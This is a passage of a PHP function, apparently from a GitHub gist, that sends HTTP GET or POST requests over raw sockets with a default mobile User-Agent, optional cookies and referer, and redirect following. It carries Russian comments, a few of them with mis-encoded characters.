FALSE; /* Приводим ��ылку в правильный вид */ $url = parse_url($params['url']); if( ! isset($url['scheme']) ) $url['scheme'] = 'http'; if( ! isset($url['path']) ) $url['path'] = '/'; if( ! isset($url['host']) && isset($url['path']) ) { if( strpos($url['path'], '/') ) { $url['host'] = substr($url['path'], 0, strpos($url['path'], '/')); $url['path'] = substr($url['path'], strpos($url['path'], '/')); } else { $url['host'] = $url['path']; $url['path'] = '/';  } } $url['path'] = preg_replace("/[\\/]+/", "/", $url['path']); if( isset($url['query']) ) $url['path'] .= "?{$url['query']}"; $port = isset($params['port']) ? $params['port'] : ( isset($url['port']) ? $url['port'] : ($url['scheme']=='https'?443:80) ); $timeout = isset($params['timeout']) ? $params['timeout'] : 30; if( ! isset($params['return']) ) $params['return'] = 'content'; $scheme = $url['scheme']=='https' ? 'ssl://':''; $fp = @fsockopen($scheme.$url['host'], $port, $errno, $errstr, $timeout); if( $fp ) { /* Mozilla */ if( ! isset($params['User-Agent']) ) $params['User-Agent'] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16"; $request = "{$params['method']} {$url['path']} HTTP/1.0\r\n"; $request .= "Host: {$url['host']}\r\n"; $request .= "User-Agent: {$params['User-Agent']}"."\r\n"; if( isset($params['referer']) ) $request .= "Referer: {$params['referer']}\r\n"; if( isset($params['cookie']) ) { $cookie = ""; if( is_array($params['cookie']) ) {foreach( $params['cookie'] as $k=>$v ) $cookie .= "$k=$v; "; $cookie = substr($cookie,0,-2);} else $cookie = $params['cookie']; if( $cookie!='' ) $request .= "Cookie: $cookie\r\n"; } $request .= "Connection: close\r\n"; if( $params['method']=='POST' ) { if( isset($params['data']) && is_array($params['data']) ) { foreach($params['data'] AS $k => $v) $data .= urlencode($k).'='.urlencode($v).'&'; if( substr($data, -1)=='&' ) $data = substr($data,0,-1); } $data .= "\r\n\r\n"; $request .= "Content-type: application/x-www-form-urlencoded\r\n"; $request .= "Content-length: ".strlen($data)."\r\n"; } $request .= "\r\n"; if( $params['method'] == 'POST' ) $request .= $data; @fwrite ($fp,$request); /* Send request */ $res = ""; $headers = ""; $h_detected = false; while( !@feof($fp) ) { $res .= @fread($fp, 1024); /* читаем контент */ /* Проверка наличи� загловков в контенте */ if( ! $h_detected && strpos($res, "\r\n\r\n")!==FALSE ) { /* заголовки уже �читаны - корректируем контент */ $h_detected = true; $headers = substr($res, 0, strpos($res, "\r\n\r\n")); $res = substr($res, strpos($res, "\r\n\r\n")+4); /* Headers to Array */ if( $params['return']=='headers' || $params['return']=='array' || (isset($params['redirect']) && $params['redirect']==true) ) { $h = explode("\r\n", $headers); $headers = array(); foreach( $h as $k=>$v ) { if( strpos($v, ':') ) { $k = substr($v, 0, strpos($v, ':')); $v = trim(substr($v, strpos($v, ':')+1)); } $headers[strtoupper($k)] = $v; } } if( isset($params['redirect']) && $params['redirect']==true && isset($headers['LOCATION']) ) { $params['url'] = $headers['LOCATION']; if( !isset($params['redirect-count']) ) $params['redirect-count'] = 0; if( $params['redirect-count']<10 ) { $params['redirect-count']++; $func = __FUNCTION__; return @is_object($this) ? $this->$func($params) : $func($params); } } if( $params['return']=='headers' ) return $headers; } } @fclose($fp); } else return FALSE;/* $errstr.$errno; */ if( $params['return']=='array' ) $res = array('headers'=>$headers, 'content'=>$res); return $res; }

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment